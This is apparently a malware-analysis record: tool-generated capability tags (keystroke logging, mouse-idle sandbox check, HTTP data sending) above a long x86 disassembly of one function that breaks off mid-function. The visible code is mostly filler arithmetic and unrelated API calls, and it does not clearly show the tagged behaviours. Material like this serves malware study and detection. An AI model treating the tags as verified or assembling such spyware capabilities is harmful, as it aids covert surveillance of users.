Function at 0x43bfd0
Capabilities:
Check for unmoving mouse cursor
Connect to http server
Create http request
Get session information
Inspect load icon resource
Log keystrokes
Log keystrokes via polling
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450f48
push 0x43ff20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, 0x44f8
call fcn.00425240
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x7c0], 0
mov dword [ebp - 0x7e0], 0x2f
mov dword [ebp - 0x7bc], 0
mov dword [ebp - 0x97c], 0
mov dword [ebp - 0xbbc], 0
mov dword [ebp - 0xa90], 0
mov dword [ebp - 0x59c], 0
mov eax, dword [ebp + 8]
mov dword [0x456b14], eax
mov dword [ebp - 0x7c4], 0
mov dword [ebp - 0x980], 0
mov dword [ebp - 0xa8c], 0
mov dword [ebp - 0x7e4], 0
mov dword [ebp - 0xbc0], 0
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0xefc], 0
mov dword [ebp - 0xf48], 1
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xf04], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0xf10], edx
mov dword [ebp - 0xf0c], 1
mov dword [ebp - 0xf44], 0
mov dword [ebp - 0xdd4], 0x64
mov dword [ebp - 0xf08], 0x10
mov dword [ebp - 0xf14], 0
mov dword [ebp - 0xf00], 1
mov byte [ebp - 0xee8], 0
push 0xff
push 0
lea eax, [ebp - 0xee7]
push eax
call fcn.0041bd70
add esp, 0xc
mov dword [ebp - 0xef8], 0
xor ecx, ecx
mov dword [ebp - 0xef4], ecx
mov dword [ebp - 0xef0], ecx
mov dword [ebp - 0xeec], ecx
mov dword [ebp - 0xf40], 0
xor edx, edx
mov dword [ebp - 0xf3c], edx
mov dword [ebp - 0xf38], edx
mov dword [ebp - 0xf34], edx
mov dword [ebp - 0xde4], 0
xor eax, eax
mov dword [ebp - 0xde0], eax
mov dword [ebp - 0xddc], eax
mov dword [ebp - 0xdd8], eax
movzx eax, byte [ebp - 0xefc]
cdq
mov ecx, 6
idiv ecx
add eax, dword [ebp - 0x7e0]
cmp eax, dword [ebp - 0xef4]
jle 0x43c1ab
movzx edx, byte [ebp - 0xf0c]
imul edx, dword [ebp - 0xf44]
mov eax, dword [ebp - 0x97c]
imul eax, dword [0x456b0c]
add edx, eax
mov ecx, dword [ebp - 0xf44]
sub ecx, edx
mov dword [ebp - 0xf44], ecx
mov dword [ebp - 0xfa0], 0
push 0x54
push 0
lea edx, [ebp - 0xf9c]
push edx
call fcn.0041bd70
add esp, 0xc
cmp dword [ebp - 0x7c4], 0
je 0x43c1ec
lea eax, [ebp - 0xfa0]
push eax
call dword [sym.imp.comdlg32.dll_GetSaveFileNameW]
test eax, eax
je 0x43c1ec
mov dword [ebp - 0x7e0], 0
mov dword [ebp - 0xfb4], 0xc
push 6
call dword [sym.imp.USER32.dll_GetSystemMetrics]
imul eax, eax, 0xfffffffe
sub eax, dword [ebp - 0xfb4]
push eax
push 5
call dword [sym.imp.USER32.dll_GetSystemMetrics]
imul eax, eax, 0xfffffffe
sub eax, dword [ebp - 0xfb4]
push eax
lea ecx, [ebp - 0xfb0]
push ecx
call dword [sym.imp.USER32.dll_InflateRect]
mov edx, dword [ebp - 0x7c4]
cmp edx, dword [0x456b20]
jge 0x43c242
mov eax, dword [ebp - 0x7c4]
mov dword [0x456b0c], eax
jmp 0x43c285
mov eax, dword [ebp - 0xde0]
cdq
mov ecx, 6
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0xf10]
imul eax, dword [ebp - 0xf44]
mov esi, dword [ebp - 0x97c]
add esi, 0x5b
xor edx, edx
div esi
imul eax, dword [ebp - 0x980]
movzx edx, byte [ebp - 0xdd8]
imul eax, edx
add ecx, eax
mov dword [0x456b10], ecx
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0xfbc], eax
mov ecx, dword [ebp - 0x59c]
push ecx
mov edx, dword [0x456b10]
push edx
mov eax, dword [ebp - 0x7e0]
push eax
mov ecx, dword [0x456b0c]
push ecx
call dword [sym.imp.GDI32.dll_CreateRectRgn]
mov dword [ebp - 0xfb8], eax
mov edx, dword [ebp - 0xf14]
push edx
call dword [sym.imp.USERENV.dll_UnregisterGPNotification]
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7e0], 1
je 0x43c2f2
push 1
mov eax, dword [ebp - 0xfbc]
push eax
mov ecx, dword [ebp - 0xfb8]
push ecx
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.GDI32.dll_CombineRgn]
lea ecx, [ebp - 0xf2c]
call fcn.00412ed0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x43e8], eax
lea ecx, [ebp - 0x43e8]
push ecx
lea ecx, [ebp - 0xf2c]
call fcn.00412e00
lea ecx, [ebp - 0xf2c]
call fcn.00412dd0
mov dword [ebp - 0xf30], eax
mov edx, dword [ebp - 0xf44]
mov dword [ebp - 0x43ec], edx
lea eax, [ebp - 0x43ec]
push eax
lea ecx, [ebp - 0xf2c]
call fcn.00412e40
mov ecx, dword [ebp - 0xf3c]
imul ecx, dword [ebp - 0xf48]
mov edx, dword [ebp - 0x980]
sub edx, ecx
mov dword [ebp - 0x980], edx
je 0x43c37c
movzx eax, word [ebp - 0xbbc]
add eax, dword [ebp - 0xdd8]
mov dword [ebp - 0xdd8], eax
jmp 0x43c3ab
movzx ecx, byte [ebp - 0x59c]
imul ecx, dword [ebp - 0xeec]
add ecx, dword [ebp - 0xf48]
sub ecx, dword [ebp - 0xddc]
movzx edx, byte [ebp - 0xefc]
sub ecx, edx
add ecx, dword [ebp - 0xddc]
mov dword [ebp - 0xddc], ecx
lea ecx, [ebp - 0xf2c]
call fcn.00412e80
movzx eax, byte [0x456b10]
sub eax, dword [ebp - 0xf48]
je 0x43c3d1
mov ecx, dword [ebp - 0xf38]
mov dword [ebp - 0x980], ecx
mov dword [ebp - 0xfc0], 0
jmp 0x43c3ec
mov edx, dword [ebp - 0xfc0]
add edx, 1
mov dword [ebp - 0xfc0], edx
mov eax, dword [ebp - 0xa90]
add eax, 0x30
cmp dword [ebp - 0xfc0], eax
jge 0x43c46d
mov ecx, dword [0x456b18]
imul ecx, dword [ebp - 0x7e0]
mov eax, dword [0x456b0c]
cdq
mov esi, 0xe
idiv esi
add ecx, eax
cmp ecx, dword [ebp - 0x7e4]
jge 0x43c435
mov edx, dword [0x456b18]
sub edx, dword [0x456b0c]
mov dword [0x456b0c], edx
jmp 0x43c468
mov eax, dword [ebp - 0x7e4]
cdq
and edx, 0xf
add eax, edx
mov ecx, eax
sar ecx, 4
mov esi, dword [ebp - 0x7bc]
add esi, 0x4c
mov eax, dword [ebp - 0xf44]
xor edx, edx
div esi
imul eax, dword [ebp - 0x7d0]
add ecx, eax
mov dword [ebp - 0xf44], ecx
jmp 0x43c3dd
cmp dword [ebp - 0xf10], 0
jne 0x43c49f
cmp dword [0x456b20], 0
je 0x43c49f
movzx edx, byte [0x456b20]
movzx eax, byte [ebp - 0xf44]
sub edx, eax
mov ecx, dword [ebp - 0x7e0]
sub ecx, edx
mov dword [ebp - 0x7e0], ecx
jmp 0x43c4b7
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USERENV.dll_GetAppliedGPOListA]
sub eax, 0x57
mov dword [0x456b18], eax
mov edx, dword [ebp - 0x7c4]
mov dword [ebp - 0xfc4], edx
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0xfcc], eax
mov word [ebp - 0xfd0], 0
mov word [ebp - 0xfce], 0
mov ecx, dword [ebp - 0xf04]
imul ecx, dword [ebp - 0x980]
imul ecx, dword [0x456b0c]
imul ecx, dword [ebp - 0x7e0]
imul ecx, dword [0x456b18]
mov edx, dword [ebp - 0xdd4]
imul edx, edx, 0x13
lea eax, [ecx + edx + 6]
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0xfc8], 0
lea ecx, [ebp - 0xfc8]
push ecx
mov edx, dword [ebp - 0xfd0]
push edx
mov eax, dword [ebp - 0xfcc]
push eax
push 0x20
mov ecx, dword [ebp - 0xfc4]
push ecx
call dword [sym.imp.KERNEL32.DLL_FillConsoleOutputCharacterA]
movzx edx, byte [ebp - 0x7cc]
imul edx, dword [ebp - 0x7bc]
cmp edx, dword [0x456b20]
jle 0x43c576
movzx eax, word [0x456b18]
imul eax, dword [0x456b0c]
mov ecx, dword [0x456b20]
sub ecx, eax
mov dword [0x456b0c], ecx
lea ecx, [ebp - 0xf2c]
call fcn.00412f10
mov dword [ebp - 0x1304], 0
mov dword [ebp - 0x1354], 1
mov edx, dword [ebp + 8]
mov dword [ebp - 0x1330], edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1324], eax
mov ecx, dword [ebp - 0xa90]
mov dword [ebp - 0x1350], ecx
mov dword [ebp - 0x134c], 0
mov dword [ebp - 0x11dc], 0
mov dword [ebp - 0x132c], 1
mov dword [ebp - 0x1338], 6
mov dword [ebp - 0x1320], 0x96
mov dword [ebp - 0x1328], 1
mov dword [ebp - 0x1300], 0
xor edx, edx
mov dword [ebp - 0x12fc], edx
mov dword [ebp - 0x12f8], edx
mov dword [ebp - 0x12f4], edx
mov dword [ebp - 0x1348], 0
xor eax, eax
mov dword [ebp - 0x1344], eax
mov dword [ebp - 0x1340], eax
mov dword [ebp - 0x133c], eax
mov dword [ebp - 0x11ec], 0
xor ecx, ecx
mov dword [ebp - 0x11e8], ecx
mov dword [ebp - 0x11e4], ecx
mov dword [ebp - 0x11e0], ecx
mov word [ebp - 0x11d8], 0
push 0x206
push 0
lea edx, [ebp - 0x11d6]
push edx
call fcn.0041bd70
add esp, 0xc
mov eax, dword [0x456b0c]
mov dword [ebp - 0x136c], eax
mov ecx, dword [0x456b10]
mov dword [ebp - 0x1368], ecx
mov dword [ebp - 0x1364], 0
xor edx, edx
mov dword [ebp - 0x1360], edx
mov dword [ebp - 0x135c], edx
mov dword [ebp - 0x1358], edx
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x1390], eax
mov ecx, dword [ebp - 0x59c]
mov dword [ebp - 0x138c], ecx
mov dword [ebp - 0x1388], 4
xor edx, edx
mov dword [ebp - 0x1384], edx
mov dword [ebp - 0x1380], edx
mov dword [ebp - 0x137c], edx
mov dword [ebp - 0x1378], edx
mov dword [ebp - 0x1374], edx
mov dword [ebp - 0x1370], edx
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x7bc], eax
mov eax, dword [ebp - 0x1388]
push eax
mov ecx, dword [ebp - 0x1368]
push ecx
mov edx, dword [0x456b20]
push edx
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetWindowContextHelpId]
cmp dword [ebp - 0x134c], 0
je 0x43c75d
mov eax, dword [ebp - 0x1328]
imul eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x440c], eax
fild dword [ebp - 0x59c]
fild dword [ebp - 0x440c]
fstp qword [ebp - 0x4414]
call fcn.0043fb70
fsubr qword [ebp - 0x4414]
fiadd dword [ebp - 0x59c]
call fcn.0043fd20
mov dword [ebp - 0x59c], eax
mov dword [ebp - 0x13a4], 0
mov dword [ebp - 0x13a8], 0x200
lea ecx, [ebp - 0x13a0]
push ecx
push 0
mov edx, dword [ebp - 0x13a8]
push edx
mov eax, dword [ebp - 0x13a4]
push eax
call sub.pdh.dll_PdhGetFormattedCounterValue
mov dword [ebp - 0x7cc], eax
movzx eax, word [0x456b1c]
cdq
mov ecx, 0x2b
idiv ecx
mov ecx, eax
movzx edx, word [ebp - 0x7e0]
sub ecx, edx
movzx eax, word [ebp - 0x1340]
cdq
mov esi, 0x1d
idiv esi
sub ecx, eax
movzx eax, byte [ebp - 0x1328]
sub ecx, eax
add ecx, dword [ebp - 0x11e8]
add ecx, dword [ebp - 0x11e0]
mov dword [ebp - 0x11e0], ecx
mov dword [ebp - 0x1334], 7
mov ecx, dword [ebp - 0x1334]
mov edx, dword [ebp - 0x1334]
sub edx, 1
mov dword [ebp - 0x1334], edx
test ecx, ecx
je 0x43c930
movzx eax, word [0x456b18]
mov ecx, dword [0x456b18]
add ecx, 0x3a
cdq
idiv ecx
mov edx, dword [0x456b24]
sub edx, eax
mov dword [ebp - 0x4418], edx
fild dword [ebp - 0x4418]
fild dword [0x456b0c]
sub esp, 8
fstp qword [esp]
fstp qword [ebp - 0x4420]
call fcn.0043fa00
add esp, 8
mov eax, dword [ebp - 0x97c]
add eax, 0x33
mov dword [ebp - 0x4424], eax
fild dword [ebp - 0x4424]
fdivp st(1)
fadd qword [ebp - 0x4420]
mov ecx, dword [ebp - 0x134c]
mov dword [ebp - 0x442c], ecx
mov dword [ebp - 0x4428], 0
fild qword [ebp - 0x442c]
faddp st(1)
fiadd dword [ebp - 0x7e4]
mov edx, dword [ebp - 0x134c]
mov dword [ebp - 0x4434], edx
mov dword [ebp - 0x4430], 0
fild qword [ebp - 0x4434]
fmulp st(1)
fnstcw word [ebp - 0x4436]
movzx eax, word [ebp - 0x4436]
or eax, 0xc00
mov dword [ebp - 0x443c], eax
fldcw word [ebp - 0x443c]
fistp qword [ebp - 0x4444]
fldcw word [ebp - 0x4436]
mov eax, dword [ebp - 0x4444]
mov dword [ebp - 0x134c], eax
push 0xcc0020
push 0
push 0
mov ecx, dword [0x456b18]
push ecx
mov edx, dword [ebp - 0x7e0]
push edx
mov eax, dword [0x456b10]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x7c4]
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateHardLinkA]
imul eax, dword [ebp - 0xa90]
mov edx, dword [ebp - 0x1328]
imul edx, dword [ebp - 0x1330]
add eax, edx
mov dword [0x456b24], eax
jmp 0x43c7e3
mov eax, dword [ebp - 0x1354]
sub eax, dword [0x456b10]
add eax, dword [ebp - 0x134c]
mov dword [ebp - 0x1324], eax
lea ecx, [ebp - 0x131c]
call fcn.00412ed0
mov cx, word [0x456b10]
mov word [ebp - 0x43ee], cx
lea edx, [ebp - 0x43ee]
push edx
lea ecx, [ebp - 0x131c]
call fcn.00412f50
mov eax, dword [ebp - 0x134c]
imul eax, dword [0x456b10]
mov ecx, dword [ebp - 0x97c]
imul ecx, dword [ebp - 0x1328]
add ecx, dword [ebp - 0x7bc]
add ecx, eax
mov dword [ebp - 0x7bc], ecx
lea edx, [ebp - 0x11d8]
test edx, edx
jne 0x43c9b1
mov eax, dword [ebp - 0x1328]
mov dword [ebp - 0x59c], eax
mov cx, word [ebp - 0x59c]
mov word [ebp - 0x43f0], cx
lea edx, [ebp - 0x43f0]
push edx
lea ecx, [ebp - 0x131c]
call fcn.00412f90
mov ax, word [0x456b20]
mov word [ebp - 0x43f2], ax
lea ecx, [ebp - 0x43f2]
push ecx
lea ecx, [ebp - 0x131c]
call fcn.00412f90
mov edx, dword [ebp - 0x7bc]
sub edx, dword [ebp - 0x134c]
mov dword [0x456b1c], edx
cmp dword [ebp - 0x7d0], 0
je 0x43ca36
movzx ecx, word [0x456b0c]
lea eax, [ebp - 0x7b8]
cdq
mov esi, 6
idiv esi
sub ecx, eax
add ecx, dword [ebp - 0x1328]
add ecx, dword [ebp - 0x1328]
mov dword [ebp - 0x1328], ecx
jmp 0x43ca83
mov ecx, dword [ebp - 0x7c4]
add ecx, 0x3f
mov eax, dword [0x456b24]
cdq
idiv ecx
mov ecx, eax
mov esi, dword [0x456b1c]
add esi, 0x59
mov eax, dword [0x456b0c]
cdq
idiv esi
lea edx, [ebp - 0xa88]
imul eax, edx
add ecx, eax
lea eax, [ebp - 0x11d8]
movzx edx, ax
imul edx, dword [ebp - 0x7d0]
sub ecx, edx
sub ecx, dword [ebp - 0x7e4]
mov dword [ebp - 0x7e4], ecx
lea ecx, [ebp - 0x131c]
call fcn.00412f10
mov eax, dword [0x456b20]
mov dword [ebp - 0x1508], eax
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x13b4], ecx
mov edx, dword [0x456b20]
cmp edx, dword [0x456b18]
jne 0x43cabe
mov eax, dword [ebp + 8]
mov dword [ebp - 0x13b4], eax
jmp 0x43cad1
mov ecx, dword [ebp - 0xbbc]
imul ecx, dword [ebp - 0x97c]
mov dword [ebp - 0x13b4], ecx
mov dword [ebp - 0x13c0], 0
mov edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x150c], edx
mov eax, dword [0x456b18]
mov dword [ebp - 0x14f8], eax
mov ecx, dword [0x456b18]
mov dword [ebp - 0x13d0], ecx
mov dword [ebp - 0x13b0], 0
mov dword [ebp - 0x13e8], 0x28
mov dword [ebp - 0x13c4], 1
mov dword [ebp - 0x1504], 0
mov dword [ebp - 0x13ac], 0
mov dword [ebp - 0x13d4], 0
cmp dword [0x456b1c], 0
je 0x43cb56
mov edx, dword [ebp - 0x13d8]
imul edx, dword [ebp - 0x59c]
mov dword [ebp - 0x13ec], edx
mov eax, dword [0x456b1c]
cmp eax, dword [0x456b18]
jbe 0x43d30a
mov dword [ebp - 0x172c], 0
jmp 0x43cb82
mov ecx, dword [ebp - 0x172c]
add ecx, 1
mov dword [ebp - 0x172c], ecx
mov edx, dword [ebp - 0x172c]
cmp edx, dword [ebp - 0x7bc]
jge 0x43d30a
cmp dword [0x456b18], 0
jne 0x43d036
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0x1758], eax
lea ecx, [ebp - 0xa88]
mov dword [ebp - 0x1750], ecx
lea edx, [ebp - 0x978]
mov dword [ebp - 0x1760], edx
lea eax, [ebp - 0xa88]
mov dword [ebp - 0x1768], eax
mov ecx, dword [0x456b18]
mov dword [ebp - 0x1764], ecx
lea edx, [ebp - 0xa88]
mov dword [ebp - 0x1754], edx
push 0x58
push 0
lea eax, [ebp - 0x17d0]
push eax
call fcn.0041bd70
add esp, 0xc
mov dword [ebp - 0x17d0], 0x58
mov ecx, dword [0x456b20]
add ecx, dword [0x456b1c]
mov dword [ebp - 0x17cc], ecx
mov edx, dword [ebp - 0x1760]
mov dword [ebp - 0x17c4], edx
mov eax, dword [ebp - 0x1768]
mov dword [ebp - 0x17b4], eax
mov ecx, dword [ebp - 0x1764]
mov dword [ebp - 0x17b0], ecx
mov dword [ebp - 0x17ac], 0
mov dword [ebp - 0x17a8], 0
mov dword [ebp - 0x17a4], 0
mov edx, dword [ebp - 0x1750]
mov dword [ebp - 0x17a0], edx
mov dword [ebp - 0x179c], 2
mov eax, dword [ebp - 0x1754]
mov dword [ebp - 0x1794], eax
lea ecx, [ebp - 0x17d0]
push ecx
call dword [sym.imp.comdlg32.dll_GetSaveFileNameA]
mov dword [ebp - 0x175c], eax
call dword [sym.imp.comdlg32.dll_CommDlgExtendedError]
mov dword [ebp - 0x176c], eax
mov edx, dword [ebp - 0x7bc]
mov dword [ebp - 0x17dc], edx
mov eax, dword [0x456b1c]
mov dword [ebp - 0x17e0], eax
push 1
mov ecx, dword [ebp - 0x17e0]
push ecx
mov edx, dword [ebp - 0x17dc]
push edx
push 2
mov eax, dword [ebp - 0xa90]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
mov dword [ebp - 0x1774], eax
mov ecx, dword [0x456b0c]
mov dword [ebp - 0x17d8], ecx
push 1
mov edx, dword [ebp - 0x17d8]
push edx
push 2
mov eax, dword [ebp - 0xa90]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
mov dword [ebp - 0x1770], eax
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x17d4], ecx
mov dword [ebp - 0x17f8], 2
mov edx, dword [ebp - 0x17d4]
mov dword [ebp - 0x17ec], edx
push 1
lea eax, [ebp - 0x17fc]
push eax
push 2
mov ecx, dword [ebp - 0xa90]
push ecx
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [ebp - 0x174c], eax
mov edx, dword [ebp - 0x176c]
add edx, dword [ebp - 0x175c]
mov eax, dword [ebp - 0x14f8]
lea ecx, [eax + edx - 2]
mov dword [ebp - 0x14f8], ecx
mov edx, dword [ebp - 0x1774]
add edx, dword [ebp - 0x1770]
add edx, dword [ebp - 0x174c]
add edx, dword [ebp - 0x13d0]
mov dword [ebp - 0x13d0], edx
mov eax, dword [0x456b20]
mov dword [ebp - 0x1800], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1844], ecx
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
lea edx, [ebp - 0x189c]
push edx
mov eax, dword [ebp - 0x1800]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov dword [ebp - 0x180c], eax
push 0
mov ecx, dword [ebp - 0x1844]
push ecx
mov edx, dword [ebp - 0x7c4]
push edx
mov eax, dword [ebp - 0x1800]
push eax
mov ecx, dword [ebp - 0x1890]
sub ecx, dword [ebp - 0x1898]
push ecx
mov edx, dword [ebp - 0x1894]
sub edx, dword [ebp - 0x189c]
push edx
push 0
push 0
push 0x50800200
push 0x44b286
push str.SysListView32
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 0x1808], eax
push 0
push 3
push 0
mov eax, dword [0x456b18]
push eax
mov ecx, dword [ebp - 0x7c4]
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
mov dword [ebp - 0x1804], eax
push 0
push 3
push 0
mov edx, dword [0x456b20]
push edx
mov eax, dword [ebp - 0xa90]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
mov dword [ebp - 0x1848], eax
mov dword [ebp - 0x184c], 0
jmp 0x43ce5b
mov ecx, dword [ebp - 0x184c]
add ecx, 1
mov dword [ebp - 0x184c], ecx
mov edx, dword [ebp - 0x184c]
cmp edx, dword [0x456b18]
jg 0x43cefb
movzx eax, word [ebp - 0x184c]
push eax
mov ecx, dword [ebp - 0x1844]
push ecx
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x1840], eax
mov dword [ebp - 0x1810], 0
jmp 0x43cea3
mov edx, dword [ebp - 0x1810]
add edx, 1
mov dword [ebp - 0x1810], edx
mov eax, dword [ebp - 0x7c4]
add eax, 1
cmp dword [ebp - 0x1810], eax
jge 0x43cef6
mov ecx, dword [ebp - 0x1840]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1804]
push edx
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
cmp eax, 0xffffffff
je 0x43ceea
mov eax, dword [ebp - 0x1840]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x1848]
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
cmp eax, 0xffffffff
jne 0x43cef4
mov dword [0x456b0c], 0
jmp 0x43ce94
jmp 0x43ce4c
mov edx, dword [ebp - 0x1804]
push edx
call dword [sym.imp.COMCTL32.dll_ImageList_GetImageCount]
mov dword [ebp - 0x1850], eax
mov eax, dword [ebp - 0x1804]
push eax
push 1
push 0x1003
mov ecx, dword [ebp - 0x1808]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [ebp - 0x1848]
push edx
push 0
push 0x1003
mov eax, dword [ebp - 0x1808]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x183c], 0xf
mov dword [ebp - 0x1838], 0
mov dword [ebp - 0x1834], 0x4b
lea ecx, [ebp - 0x19a8]
mov dword [ebp - 0x1830], ecx
mov dword [ebp - 0x184c], 0
jmp 0x43cf89
mov edx, dword [ebp - 0x184c]
add edx, 1
mov dword [ebp - 0x184c], edx
mov eax, dword [ebp - 0x184c]
cmp eax, dword [0x456b18]
jg 0x43cfcb
mov ecx, dword [ebp - 0x184c]
mov dword [ebp - 0x1828], ecx
push 0x104
lea edx, [ebp - 0x19a8]
push edx
mov eax, dword [ebp - 0x7c4]
add eax, dword [ebp - 0x184c]
push eax
mov ecx, dword [ebp - 0x1844]
push ecx
call dword [sym.imp.USER32.dll_LoadStringA]
jmp 0x43cf7a
mov edx, dword [ebp - 0x1850]
add edx, dword [ebp - 0x1804]
add edx, dword [ebp - 0x1848]
add edx, dword [ebp - 0x1808]
add edx, dword [ebp - 0x180c]
add edx, dword [ebp - 0x150c]
mov dword [ebp - 0x150c], edx
mov eax, dword [ebp - 0xa90]
cmp eax, dword [ebp - 0x150c]
jne 0x43d02c
mov ecx, dword [ebp - 0x14f8]
cmp ecx, dword [0x456b18]
jne 0x43d02c
mov edx, dword [ebp - 0x13d0]
cmp edx, dword [0x456b20]
jne 0x43d02c
mov eax, dword [0x456b24]
mov dword [ebp - 0x13c0], eax
jmp 0x43d036
mov dword [ebp - 0x13c0], 0
mov ecx, dword [ebp - 0x13b4]
cmp ecx, dword [ebp - 0x7c4]
jge 0x43d05d
mov edx, dword [ebp - 0x13ec]
imul edx, dword [ebp - 0x7e0]
add edx, dword [0x456b10]
mov dword [0x456b10], edx
mov eax, dword [0x456b20]
mov dword [ebp - 0x19b0], eax
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x19b4], ecx
mov edx, dword [ebp - 0x7e0]
mov dword [ebp - 0x1ac8], edx
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19b4]
mov dword [ebp - 0x4448], ecx
cmp dword [ebp - 0x4448], 0x110
je 0x43d0b5
cmp dword [ebp - 0x4448], 0x111
je 0x43d0df
jmp 0x43d1c7
push 0x4037
push 8
mov edx, dword [ebp - 0x1ac4]
push edx
push 0x44b298
mov eax, dword [ebp - 0x19b0]
push eax
call dword [sym.imp.USER32.dll_DlgDirListComboBoxA]
mov eax, 1
jmp 0x43f51b
mov ecx, dword [ebp - 0x1ac8]
mov dword [ebp - 0x444c], ecx
cmp dword [ebp - 0x444c], 1
je 0x43d16a
cmp dword [ebp - 0x444c], 2
je 0x43d1ae
cmp dword [ebp - 0x444c], 0x5a
je 0x43d10f
jmp 0x43d1c7
mov edx, dword [ebp - 0x19ac]
shr edx, 0x10
and edx, 0xffff
movzx eax, dx
cmp eax, 2
jne 0x43d160
push 0x50
lea ecx, [ebp - 0x1b18]
push ecx
mov edx, dword [ebp - 0x1ac4]
push edx
mov eax, dword [ebp - 0x19b0]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
lea ecx, [ebp - 0x1ac0]
push ecx
lea edx, [ebp - 0x1b18]
push edx
mov eax, dword [ebp - 0x19b0]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
jmp 0x43f51b
push 0x50
lea ecx, [ebp - 0x1b18]
push ecx
mov edx, dword [ebp - 0x1ac4]
push edx
mov eax, dword [ebp - 0x19b0]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
lea ecx, [ebp - 0x1ac0]
push ecx
lea edx, [ebp - 0x1b18]
push edx
mov eax, dword [ebp - 0x19b0]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
jmp 0x43f51b
push 0
mov ecx, dword [ebp - 0x19b0]
push ecx
call dword [sym.imp.USER32.dll_EndDialog]
mov eax, 1
jmp 0x43f51b
cmp dword [ebp - 0x13c0], 0
jne 0x43d1f6
mov edx, dword [0x456b0c]
cmp edx, dword [0x456b10]
je 0x43d1f6
push 0
lea eax, [ebp - 0xa88]
push eax
mov ecx, dword [ebp - 0x1b54]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x7e0]
cmp edx, dword [ebp - 0x59c]
jle 0x43d211
mov eax, dword [0x456b10]
add eax, 1
mov dword [0x456b10], eax
xor ecx, ecx
mov dword [ebp - 0x1ca0], ecx
mov dword [ebp - 0x1c9c], ecx
mov dword [ebp - 0x1c98], ecx
mov dword [ebp - 0x1c94], ecx
mov dword [ebp - 0x1c90], ecx
mov dword [ebp - 0x1c8c], ecx
mov dword [ebp - 0x1c88], ecx
mov dword [ebp - 0x1c84], ecx
mov dword [ebp - 0x1c80], ecx
mov dword [ebp - 0x1c7c], ecx
lea edx, [ebp - 0x7b8]
mov dword [ebp - 0x1c7c], edx
lea eax, [ebp - 0x7b8]
push eax
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x1c88], eax
lea ecx, [ebp - 0x7b8]
push ecx
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x1c8c], eax
mov dword [ebp - 0x1c84], 6
mov dword [ebp - 0x1ca0], 3
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x1c90], eax
lea edx, [ebp - 0x1ca0]
push edx
call dword [sym.imp.USER32.dll_RegisterClassW]
movzx eax, ax
test eax, eax
jne 0x43d2c9
cmp dword [ebp - 0x7c4], 0
je 0x43d2c9
call fcn.0041ae20
cmp dword [ebp - 0x7bc], 0
jne 0x43d2e0
mov ecx, dword [0x456b18]
mov edx, dword [ebp - 0x59c]
mov dword [ecx], edx
cmp dword [ebp - 0x7cc], 0
je 0x43d2f7
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x13c0], eax
jmp 0x43d305
mov ecx, dword [0x456b24]
mov edx, dword [ebp - 0x7bc]
mov dword [ecx], edx
jmp 0x43cb73
cmp dword [0x456b24], 0
je 0x43d356
cmp dword [ebp - 0x7bc], 0
je 0x43d356
cmp dword [0x456b1c], 0
je 0x43d356
mov eax, dword [ebp - 0xa90]
lea ecx, [eax*4 + 4]
mov edx, dword [ebp - 0xa90]
mov eax, dword [ebp - 0x7c4]
lea edx, [eax + edx + 1]
sub ecx, edx
add ecx, dword [0x456b18]
add ecx, dword [ebp - 0xbbc]
mov dword [ebp - 0xbbc], ecx
